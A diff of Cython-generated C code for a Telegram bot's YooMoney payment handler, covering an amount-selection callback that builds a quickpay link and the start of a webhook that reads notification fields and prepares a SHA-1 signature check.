"handlers/payments/yoomoney_pay.py":127 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = PyList_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_14); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_14)) __PYX_ERR(0, 127, __pyx_L1_error); + __pyx_t_14 = 0; + + /* "handlers/payments/yoomoney_pay.py":125 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_14 = PyList_New(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_9); + if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 0, __pyx_t_9)) __PYX_ERR(0, 125, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_10); + if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 1, __pyx_t_10)) __PYX_ERR(0, 125, __pyx_L1_error); + __pyx_t_9 = 0; + __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_14) < 0) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/yoomoney_pay.py":124 + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_14; + __pyx_t_14 = 0; + + /* "handlers/payments/yoomoney_pay.py":131 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/yoomoney_pay.py":132 + * + * await callback_query.message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = 0; + __pyx_t_12 = 127; + __Pyx_INCREF(__pyx_kp_u__9); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_3 += 25; + __Pyx_GIVEREF(__pyx_kp_u__9); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__9); + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) : __pyx_t_12; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_10); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_10); + __pyx_t_10 = 0; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_3 += 8; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__10); + __pyx_t_10 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_t_10) < 0) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yoomoney_pay.py":133 + * await callback_query.message.answer( + * text=f" {amount} .", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * + */ + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 132, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":131 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_10); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 131, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 131, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yoomoney_pay.py":98 + * + * + * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yoomoney_pay.py":137 + * + * + * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook = {"yoomoney_webhook", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("yoomoney_webhook (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 137, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "yoomoney_webhook") < 0)) __PYX_ERR(0, 137, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("yoomoney_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 137, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.yoomoney_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yoomoney_pay_6yoomoney_webhook(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_6yoomoney_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("yoomoney_webhook", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 137, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2, __pyx_codeobj__11, (PyObject *) __pyx_cur_scope, __pyx_n_s_yoomoney_webhook, __pyx_n_s_yoomoney_webhook, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.yoomoney_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + Py_ssize_t __pyx_t_6; + Py_UCS4 __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + int __pyx_t_9; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + double __pyx_t_13; + int __pyx_t_14; + PyObject *__pyx_t_15 = NULL; + PyObject *__pyx_t_16 = NULL; + int __pyx_t_17; + char const *__pyx_t_18; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("yoomoney_webhook", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L12_resume_from_await; + case 3: goto __pyx_L13_resume_from_await; + case 4: goto __pyx_L14_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 137, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":138 + * + * async def yoomoney_webhook(request: web.Request): + * data = await request.post() # <<<<<<<<<<<<<< + * logger.debug(f"Webhook event received: {data}") + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_post); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 138, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":139 + * async def yoomoney_webhook(request: web.Request): + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") # <<<<<<<<<<<<<< + * + * user_id_str = data.get("label") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Webhook_event_received, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":141 + * logger.debug(f"Webhook event received: {data}") + * + * user_id_str = data.get("label") # <<<<<<<<<<<<<< + * amount_str = data.get("withdraw_amount") + * notification_secret = YOOMONEY_SECRET_KEY + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_label}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_user_id_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":142 + * + * user_id_str = data.get("label") + * amount_str = data.get("withdraw_amount") # <<<<<<<<<<<<<< + * notification_secret = YOOMONEY_SECRET_KEY + * sha1_hash = data.get("sha1_hash") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_withdraw_amount}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":143 + * user_id_str = data.get("label") + * amount_str = data.get("withdraw_amount") + * notification_secret = YOOMONEY_SECRET_KEY # <<<<<<<<<<<<<< + * sha1_hash = data.get("sha1_hash") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_SECRET_KEY); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 143, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_notification_secret = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":144 + * amount_str = data.get("withdraw_amount") + * notification_secret = YOOMONEY_SECRET_KEY + * sha1_hash = data.get("sha1_hash") # <<<<<<<<<<<<<< + * + * # + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 144, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_sha1_hash}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 144, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_sha1_hash = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":147 + * + * # + * string_to_hash = f"{data.get('notification_type')}&{data.get('operation_id')}&{data.get('amount')}&{data.get('currency')}&{data.get('datetime')}&{data.get('sender')}&{data.get('codepro')}&{notification_secret}&{user_id_str}" # <<<<<<<<<<<<<< + * + * # + */ + __pyx_t_1 = PyTuple_New(17); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + 